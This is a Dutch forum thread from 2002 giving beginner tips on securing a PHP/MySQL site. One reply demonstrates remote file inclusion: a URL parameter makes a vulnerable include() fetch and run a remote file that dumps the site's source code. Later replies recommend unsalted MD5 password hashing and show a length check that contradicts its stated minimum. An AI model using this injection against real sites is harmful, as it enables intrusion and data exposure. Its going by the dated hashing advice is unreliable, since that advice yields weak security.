Toon posts:

Website beveiligen

Pagina: 1
Acties:
  • 102 views sinds 30-01-2008
  • Reageer

Verwijderd

Topicstarter
Hallo,

Ik wil gaan proberen een kleine online community te gaan bouwen in php en MySQL. Nou weet ik dat beveiliging erg belangrijk is maar als ik op internet tips probeer te vinden gaat dat allemaal over het configureren van de server, maar ik gebruik gewoon een host. Dat gedeelte heb ik dus niet in eigen hand maar volgens mij moet je codematig toch ook veel kunnen beveiligen :?
Hebben jullie enige tips hierover? Afvangen dat er HTML wordt ingevoerd in formulieren, zulk soort zaken.

Bedankt,

Johannes

  • chem
  • Registratie: Oktober 2000
  • Laatst online: 27-08 13:53

chem

Reist de wereld rond

check de FAQ eens?

Klaar voor een nieuwe uitdaging.


Verwijderd

Op dinsdag 16 april 2002 11:42 schreef terra-man het volgende:
Hallo,
hoi
Ik wil gaan proberen een kleine online community te gaan bouwen in php en MySQL. Nou weet ik dat beveiliging erg belangrijk is maar als ik op internet tips probeer te vinden gaat dat allemaal over het configureren van de server, maar ik gebruik gewoon een host. Dat gedeelte heb ik dus niet in eigen hand maar volgens mij moet je codematig toch ook veel kunnen beveiligen :?
Hebben jullie enige tips hierover? Afvangen dat er HTML wordt ingevoerd in formulieren, zulk soort zaken.
GOogle: php mysql security

Je geeft zelf al iets aan. Waar je verder op moet letten is dat je user-input nooit moet vertrouwen en altijd moet controleren. Beetje logisch nadenken en zoeken. Er zijn genoeg artikeltjes over geschreven dacht ik zo.
Bedankt,

Johannes
[topic=397053/1/25]

  • chris
  • Registratie: September 2001
  • Laatst online: 11-03-2022
Zorg ervoor dat gebruikers je broncode niet kunnen lezen,
dat ze geen wachtwoorden kunnen opvragen en dat ze niet zelf iets met queries kunnen doen.

Verwijderd

kijk een op http://www.leejoo.nl/java/alerts/no-rightklik.htm dit is een javascript ik weet niet of dit is wat je zoekt. Maar het is niet 100% waterdicht staat ook op die site vermeld.

  • SWINX
  • Registratie: Juni 2001
  • Laatst online: 02-06 23:18
Op dinsdag 16 april 2002 11:42 schreef terra-man het volgende:

Hebben jullie enige tips hierover? Afvangen dat er HTML wordt ingevoerd in formulieren, zulk soort zaken.
PHP:
1
<?$bla = str_replace("<","&amp;lt;",$bla);$bla = str_replace(">","&amp;gt;",$bla);?>

beetje creatief zijn.. dan kun je je andere problemen ook wel oplossen :)

Mannen komen van Mars Tweakers, vrouwen van Venus Bokt


Verwijderd

Op dinsdag 16 april 2002 11:54 schreef def103 het volgende:
kijk een op http://www.leejoo.nl/java/alerts/no-rightklik.htm dit is een javascript ik weet niet of dit is wat je zoekt. Maar het is niet 100% waterdicht staat ook op die site vermeld.
wat is dit voorn antwoord? :? :z

  • SWINX
  • Registratie: Juni 2001
  • Laatst online: 02-06 23:18
Op dinsdag 16 april 2002 11:56 schreef woeitje het volgende:

[..]

wat is dit voorn antwoord? :? :z
dit is iemand die alleen de topic titel heeft gelezen en gelijk is gaan posten :Z

Mannen komen van Mars Tweakers, vrouwen van Venus Bokt


  • capedro
  • Registratie: Oktober 2000
  • Laatst online: 20-05 09:15
Op dinsdag 16 april 2002 11:42 schreef terra-man het volgende:
Hallo,

Ik wil gaan proberen een kleine online community te gaan bouwen in php en MySQL. Nou weet ik dat beveiliging erg belangrijk is maar als ik op internet tips probeer te vinden gaat dat allemaal over het configureren van de server, maar ik gebruik gewoon een host. Dat gedeelte heb ik dus niet in eigen hand maar volgens mij moet je codematig toch ook veel kunnen beveiligen :?
Hebben jullie enige tips hierover? Afvangen dat er HTML wordt ingevoerd in formulieren, zulk soort zaken.
Gebruik libs in PHP door middel van:
require en/of include.

Plaats dan de libs die je maakt buiten je documentroot van apache (of welke webserver dan ook)!

En uiteraard met het submitten van je formulieren METHOD=POST ipv GET.

Gewoon een beetje creatief zijn....

Mak-ke-lijk! :o

My weblog


Verwijderd

Op dinsdag 16 april 2002 11:56 schreef SWINX het volgende:

[..]
PHP:
1
<?$bla = str_replace("<","&amp;amp;lt;",$bla);$bla = str_replace(">","&amp;amp;gt;",$bla);?>

beetje creatief zijn.. dan kun je je andere problemen ook wel oplossen :)
gelukkig heeft php al creatief gedaan :)

  • djc
  • Registratie: December 2001
  • Laatst online: 08-09-2025

djc

Op dinsdag 16 april 2002 12:11 schreef jurriebur het volgende:
gelukkig heeft php al creatief gedaan :)
Maar het kan NOG creatiever.

Rustacean


Verwijderd

Je kan een .htaccess bestand gebruiken, maar via php en mysql lijkt het me toch iets eenvoudiger. Zeker om gebruikers aan te maken.

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 09-09 20:58

Janoz

Moderator Devschuur®

!litemod

Controleer alle invoer van de gebruiker sowieso aan de serverkant. Let op quotes, let op html en gebruik een portie gezond verstand bij het uitdenken van je applicatie. Begin niet zomaar met implementeren, maar maak eerst een ontwerp!!

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Verwijderd

Op dinsdag 16 april 2002 12:36 schreef Janoz het volgende:
Controleer alle invoer van de gebruiker sowieso aan de serverkant. Let op quotes, let op html en gebruik een portie gezond verstand bij het uitdenken van je applicatie. Begin niet zomaar met implementeren, maar maak eerst een ontwerp!!
Ge-struc-tu-reerd dus zeg maar. Pen en papier, analoog... klinkt misschien als :r voor sommige freaks maar probeer het maar eens.
Bedenk een model schrijf dat op, en ga dan pas aan het typen van je code.

Programmeren != code typen

Verwijderd

Topicstarter
Ok, dit zijn allemaal bruikbare tips! Bedankt voor het posten en ja, ik zal proberen een gedegen ontwerp te maken. Dat was ik zowiezo van plan maar daarbij had ik niet gedacht zo diep te moeten gaan. Raden jullie me echt aan psd's enzo te gaan maken?
En nog een punt, wachtwoorden moeten in een apparte database komen te staan.
Kun je bij een on-line host gewoon aangeven dat je twee databases wilt en dat elke database op een andere server moet staan? En het plaatsen van die include files buiten de server. Hoe doe je dat?

Bedankt

  • Basszje
  • Registratie: Augustus 2000
  • Laatst online: 11:03

Basszje

Reisvaap!]

Op woensdag 17 april 2002 09:05 schreef terra-man het volgende:
Ok, dit zijn allemaal bruikbare tips! Bedankt voor het posten en ja, ik zal proberen een gedegen ontwerp te maken. Dat was ik zowiezo van plan maar daarbij had ik niet gedacht zo diep te moeten gaan. Raden jullie me echt aan psd's enzo te gaan maken?
Nee PSD's zuigen hard :) . Maar je kan wel even bv een goed database ontwerp maken ( objectmodel ) . Dat doe ik iig altijd.

En daarnaast even de functionaliteiten opschrijven ( op papier dus ) en bekijken wat daar allemaal voor nodig is ( ook handig bij je objectmodel ) .

Beware of listening to the imposter; you are undone if you once forget that the fruits of the earth belong to us all, and the earth itself to nobody.


  • Dennis
  • Registratie: Februari 2001
  • Laatst online: 09-09 23:30
qmaster:
Je kan een .htaccess bestand gebruiken, maar via php en mysql lijkt het me toch iets eenvoudiger. Zeker om gebruikers aan te maken.
In zo'n geval is het dus handig om mod auth_mysql te gebruiken :)
Basszje:
Nee PSD's zuigen hard :) .
PSD's kunnen soms zeer verhelderend werken. Zeker als je ingewikkelde if-structuren gecombineerd met cases gaat gebruiken, is het handig om het even op papier te zetten, dan kun je ook kleurtjes gebruiken en het gaat veel sneller dan dat je iets maakt op je pc.

Bovendien als je een PSD hebt kun je daarna (als je een beetje goed kunt coden) alles zo uit je hoofd omzetten naar een programmeertaal :)
terra-man:
En nog een punt, wachtwoorden moeten in een apparte database komen te staan.
Waarom :?
Kun je bij een on-line host gewoon aangeven dat je twee databases wilt en dat elke database op een andere server moet staan?
Als het zo'n gratis host is zou ik het niet verwachten.
En het plaatsen van die include files buiten de server. Hoe doe je dat?
Niet, dat zou erg onveilig zijn.

Verwijderd

Topicstarter
Waarom :?
Als er iemand in slaagt je database te bereiken aan de hand van bepaalde gegevens kunnen ze nog niet bij de wachtwoorden.
Als het zo'n gratis host is zou ik het niet verwachten.
Ik wil geen gratis host, maar ook niet een al te dure :9
Niet, dat zou erg onveilig zijn.
Gebruik libs in PHP door middel van:
require en/of include.
Plaats dan de libs die je maakt buiten je documentroot van apache (of welke webserver dan ook)!
Is dit nou wel veilig of niet? En waarom... Ik heb trouwens gehoord dat includes zowiezo onveilig zijn?

  • Dennis
  • Registratie: Februari 2001
  • Laatst online: 09-09 23:30
terra-man:
Als er iemand in slaagt je database te bereiken aan de hand van bepaalde gegevens kunnen ze nog niet bij de wachtwoorden.
Wat on-nagedacht :(
Hoe moeten ze bij je database komen? Precies, via gegevens. En als ze gegevens van de ene achterhalen (via een script), kunnen ze die andere ook wel vinden hoor.

Verder, ga je ook al je scripts proggen voor gebruik met 2 databases? |:(
In dat geval wens ik je veel succes :o
Is dit nou wel veilig of niet? En waarom... Ik heb trouwens gehoord dat includes zowiezo onveilig zijn?
Documentroot != Webserver.
Documentroot is de directory waarvanuit je webserver je bestanden serveert (dus bv. C:\program files\apache\htdocs\).

Verwijderd

Topicstarter
Ok sorry, ik ben nog niet ervaren in deze zaken, daarom zoek ik hier ook naar tips. Ik doe een opleiding Hogere Informatica en heb in een webdesign-blok geleert dat je de wachtwoorden altijd in een andere database moet opslaan.
Ik heb totaal geen hack-ervaring en dat nekt me nu.
:'(

  • Dennis
  • Registratie: Februari 2001
  • Laatst online: 09-09 23:30
Op woensdag 17 april 2002 10:40 schreef terra-man het volgende:
Ok sorry, ik ben nog niet ervaren in deze zaken, daarom zoek ik hier ook naar tips. Ik doe een opleiding Hogere Informatica en heb in een webdesign-blok geleert dat je de wachtwoorden altijd in een andere database moet opslaan.
Ik heb totaal geen hack-ervaring en dat nekt me nu.
:'(
Het irriteert me nu best wel dat je zo'n opleiding doet en totaal geen praktijkervaring kent én krijgt.

Verder wil ik niet bijdehand doen, maar ik zou die leraar eens vragen of ie zelf wel eens aan webscripting heeft gedaan. Betwijfel dit momenteel namelijk nogal.

Verwijderd

Topicstarter
Het irriteert me nu best wel dat je zo'n opleiding doet en totaal geen praktijkervaring kent én krijgt.
Sorry hoor, maar ik ben nu dus bezig met een practijkopdracht waarin ik dit soort dingen leer. Dus die practijkervaring ga ik nu opdoen en daarnaast heb ik hierna nog 2 jaar stage!
We hebben eerst een groot deel theorie en ontzettend veel coderen gedaan, nu moet ik het gaan toepassen.
Ik ben best tevreden met de opleiding al snap ik best dat als ik klaar ben ik nog steeds ontzettend veel moet leren. Je krijgt alleen wel een goede basis.

  • Dennis
  • Registratie: Februari 2001
  • Laatst online: 09-09 23:30
Op woensdag 17 april 2002 10:56 schreef terra-man het volgende:
Sorry hoor, maar ik ben nu dus bezig met een practijkopdracht waarin ik dit soort dingen leer. Dus die practijkervaring ga ik nu opdoen en daarnaast heb ik hierna nog 2 jaar stage!
We hebben eerst een groot deel theorie en ontzettend veel coderen gedaan, nu moet ik het gaan toepassen.
Ik ben best tevreden met de opleiding al snap ik best dat als ik klaar ben ik nog steeds ontzettend veel moet leren. Je krijgt alleen wel een goede basis.
Het is geen flame op jou, meer op (in dit geval) de leermethode van de hogeschool.

Dat je geen praktijkkennis hebt is natuurlijk oké , ik ben verheugd te horen dat je het nu wel gaat krijgen :).

Verder blijkt dat je leraar geen praktijkervaring heeft, want als hij jou verteld dat je 2 databases moet gebruiken, heeft hij waarschijnlijk nog nooit zijn theorie in de praktijk gebruikt (dan had hij erachter kunnen komen dat die methode van hem kant noch wal raakt). En dat vind ik best wel lullig, want daar worden jullie (de leerlingen) nu de dupe van :(.

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 09-09 20:58

Janoz

Moderator Devschuur®

!litemod

Op woensdag 17 april 2002 10:29 schreef terra-man het volgende:

Als er iemand in slaagt je database te bereiken aan de hand van bepaalde gegevens kunnen ze nog niet bij de wachtwoorden.
Je kunt beter Je moet je wachtwoorden in de DB opslaan als een 1-way hash zoals md5. Ookal zouden mensen toegang tot je DB kunnen krijgen, dan kunnen ze nog steeds niet (makkelijk) de wachtwoorden achterhalen.

Het gebruiken van 2 DB's is zoals eerder al gemeld een beetje onzinnig.
Op woensdag 17 april 2002 10:29 schreef terra-man het volgende:
Is dit nou wel veilig of niet? En waarom... Ik heb trouwens gehoord dat includes zowiezo onveilig zijn?
Include is in principe niet onveilig, maar somige hobbyisten (programmeurs wil ik het niet noemen) gebruiken het verkeerd. 1 van de meest gemaakte fouten is een content managment systeem waarin de volgende code voorkomt:
PHP:
1
<?if ($pagina) {  include("$pagina");} else {  include("news.code");} ?>

Pagina wordt vervolgens als een get parameter aan de url meegegeven.

Deze code komt trouwens uit een bestaande site. Hoe weet ik dat deze code er in staat? Door simpel in de url
code:
1
?pagina=http://www.fmf.nl/~janoz/t2.txt

neer te zetten. Inhoud t2.txt:
PHP:
1
<?show_source("index.php");?>

Zorg altijd dat je een hard gecodeerd bestand include (dus niet mbv een variabele de bestandsnaam bepalen) en zorg dat mensen door het opvragen van deze include file niet allemaal rare dingen kunnen zien/doen. DIt kun je voorkomen door
1 extentie goed te houden (dus geen .code, want dan is de source gewoon op te vragen als text)
2 buiten de html directory te zetten (Dan kun je via een URL niet eens het bestand opvragen)
3 te zorgen dat het los opvragen niet je sitegegevens verneukt (Een include bestand geen halve bewerkingen laten doen die eigenlijk zouden moeten worden gevolgd door een andere handeling om de integriteit van de data te bewaren)

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Verwijderd

Topicstarter
Zorg altijd dat je een hard gecodeerd bestand include (dus niet mbv een variabele de bestandsnaam bepalen) en zorg dat mensen door het opvragen van deze include file niet allemaal rare dingen kunnen zien/doen. DIt kun je voorkomen door
1 extentie goed te houden (dus geen .code, want dan is de source gewoon op te vragen als text)
2 buiten de html directory te zetten (Dan kun je via een URL niet eens het bestand opvragen)
3 te zorgen dat het los opvragen niet je sitegegevens verneukt (Een include bestand geen halve bewerkingen laten doen die eigenlijk zouden moeten worden gevolgd door een andere handeling om de integriteit van de data te bewaren)
Okee, ik kom steeds verder, ik ben op zoek naar info over werken met one-way hash, krijg hier wat inzicht in gebruikte methodes die je moet afvangen... Ik leer veel zo :)
Bedankt voor deze goede tips, hier kan ik echt wat mee... al ik klaar ben post ik misschien wel een url en vraag jullie of jullie gaten kunnen vinden :) Daar kan ik dan weer veel van leren, al is het idee misschien niet zo fijn dat je vraagt om gehacked te worden.

Bedankt,

Johannes

  • Basszje
  • Registratie: Augustus 2000
  • Laatst online: 11:03

Basszje

Reisvaap!]

Op woensdag 17 april 2002 10:00 schreef ddc het volgende:


PSD's kunnen soms zeer verhelderend werken. Zeker als je ingewikkelde if-structuren gecombineerd met cases gaat gebruiken, is het handig om het even op papier te zetten, dan kun je ook kleurtjes gebruiken en het gaat veel sneller dan dat je iets maakt op je pc.

Bovendien als je een PSD hebt kun je daarna (als je een beetje goed kunt coden) alles zo uit je hoofd omzetten naar een programmeertaal :)
Ligt er natuurlijk wel een beetje aan welke taal je aan het gebruiken bent :) . Als je idd iets procedureels gebruikt dan is het wel nuttig, als je oo bezig bent durf ik het te betwijfelen ( daar hebben we immers UML voor ) . :)

En idd 2 dbases gebruiken voor inloggen en data lijkt mij iig pure onzin :?

Beware of listening to the imposter; you are undone if you once forget that the fruits of the earth belong to us all, and the earth itself to nobody.


  • Dennis
  • Registratie: Februari 2001
  • Laatst online: 09-09 23:30
Basszje:
als je oo bezig bent durf ik het te betwijfelen ( daar hebben we immers UML voor ) . :)
Ook onder OO heb ik het een keer toegepast. Ik heb mijn volledige classstructuur uitgewerkt op papier (dus de relaties tussen de classes (in de vorm van variabelen en functies)). Daarnaast heb ik ook de volgorde van het aanroepen van deze classes genoteerd.

  • vargo
  • Registratie: Januari 2001
  • Laatst online: 04-09 10:17
Een one-way hash is niet zo moeilijk.
Als een gebruiker zich inschrijft in het systeem, geeft deze een wachtwoord op. In plaats van dat je nou het wachtwoord onthoudt sla je de hash hiervan op.
Een gebruiker die wil inloggen onder username X, geeft daarbij een wachtwoord Y. Van dit wachtwoord Y bereken je de md5 hash weer en die vergelijk je met de hash van het originele wachtwoord in de database.

Zorg er ook voor dat een wachtwoord minstens 8 tekens bevat.

Dus script voor aanmelden:
PHP:
1
<?// user posts wachtwoord via formif(strlen($wachtwoord) <= 8){ die("<B>Error:</B> ww kleiner dan 8 tekens..."); }$hash = md5($wachtwoord);// store deze hash, met bijbehorende username in database?>

Check bij inloggen
PHP:
1
<?// haal aan de hand van username de hash van het ww uit dbaseif($hash_origineel != md5($geposte_ww)){  die("fout wachtwoord");}?>

Verwijderd

Topicstarter
Dat je op die manier dat moest coderen begreep ik al, en ik snap ook dat het veilig is omdat het proces niet kan worden omgekeert, je hebt dus meer nodig dan toegang tot de database... echt best wel slim :)

  • Basszje
  • Registratie: Augustus 2000
  • Laatst online: 11:03

Basszje

Reisvaap!]

Op woensdag 17 april 2002 12:12 schreef ddc het volgende:

[..]

Ook onder OO heb ik het een keer toegepast. Ik heb mijn volledige classstructuur uitgewerkt op papier (dus de relaties tussen de classes (in de vorm van variabelen en functies)). Daarnaast heb ik ook de volgorde van het aanroepen van deze classes genoteerd.
Daar heb je toch ook zooi als flowdiagrammen en state-transition diagrammen voor :?

Beware of listening to the imposter; you are undone if you once forget that the fruits of the earth belong to us all, and the earth itself to nobody.


  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 09-09 20:58

Janoz

Moderator Devschuur®

!litemod

Op woensdag 17 april 2002 12:32 schreef terra-man het volgende:
echt best wel slim :)
Dit zou meer iets moeten zijn als 'och, dat is bassiskennis', mag je wel een keer aan die leraar uitleggen :)..

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Verwijderd

Topicstarter
1 extentie goed te houden (dus geen .code, want dan is de source gewoon op te vragen als text)
.inc is niet als text op te vragen? Elk codebestand kun je toch simpel in txt veranderen en dan bekijken?

  • Janoz
  • Registratie: Oktober 2000
  • Laatst online: 09-09 20:58

Janoz

Moderator Devschuur®

!litemod

Op woensdag 17 april 2002 12:52 schreef terra-man het volgende:

[..]

.inc is niet als text op te vragen? Elk codebestand kun je toch simpel in txt veranderen en dan bekijken?
Je webserver bepaald vaak adhv de extentie wat voor type bestand het is. Waneer bijvoorbeeld .php wordt gezien, wordt dit eerst door de php parser gehaald. DIt is geheel afhankelijk van de webserver. .inc is vaak nergens aan gerelateerd, en in dat geval weet de server ook niet wat je verstuurd, en zal het gewoon als text versturen.

Dit betekend dat mensen door gewoon in de url www.foo.bar/include.inc kunnen intikken, en vervolgens de gehele source kunnen lezen inclusief allerlij wachtword en andere inloggegevens die je liever prive houdt.

Ikzelf noem geinclude bestanden in php, mits ze niet buiten de httpd dir gezet kunnen worden, altijd .inc.php zodat ze standaard door de phpparser worden gehaald, en er dus alleen maar output van dat script naar de client wordt gestuurd (wat effectief op niks uitkomt, omdat de meeste van mijn include bestanden alleen uit functies bestaat, en dus niks wegschrijven).

Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'


Verwijderd

Topicstarter
Op woensdag 17 april 2002 13:00 schreef Janoz het volgende:


Ikzelf noem geinclude bestanden in php, mits ze niet buiten de httpd dir gezet kunnen worden, altijd .inc.php zodat ze standaard door de phpparser worden gehaald, en er dus alleen maar output van dat script naar de client wordt gestuurd.
Ah, ik vat hem :), als je dan simpelweg die URL intypt krijg je de uitvoer van het script in plaats van de code van het script omdat het eerst wordt uitgevoerd door je server.
Am I right?

  • Dennis
  • Registratie: Februari 2001
  • Laatst online: 09-09 23:30
Basszje:
Daar heb je toch ook zooi als flowdiagrammen en state-transition diagrammen voor :?
Nooit van gehoord.
Vertel eens wat meer :)

  • vargo
  • Registratie: Januari 2001
  • Laatst online: 04-09 10:17
Op woensdag 17 april 2002 13:06 schreef terra-man het volgende:

[..]

Ah, ik vat hem :), als je dan simpelweg die URL intypt krijg je de uitvoer van het script in plaats van de code van het script omdat het eerst wordt uitgevoerd door je server.
Am I right?
yep.

  • PhoeniX-
  • Registratie: Juni 2000
  • Laatst online: 17-08 13:24
een leuk begin is even kyken naar md5 in php. Je kan dan bij registeren een md5($password) doen, en bij inloggen kan je dan checken
if (md5($password) == $password_in_de_database) { ... }

even simpel gezegd dan (-:
Pagina: 1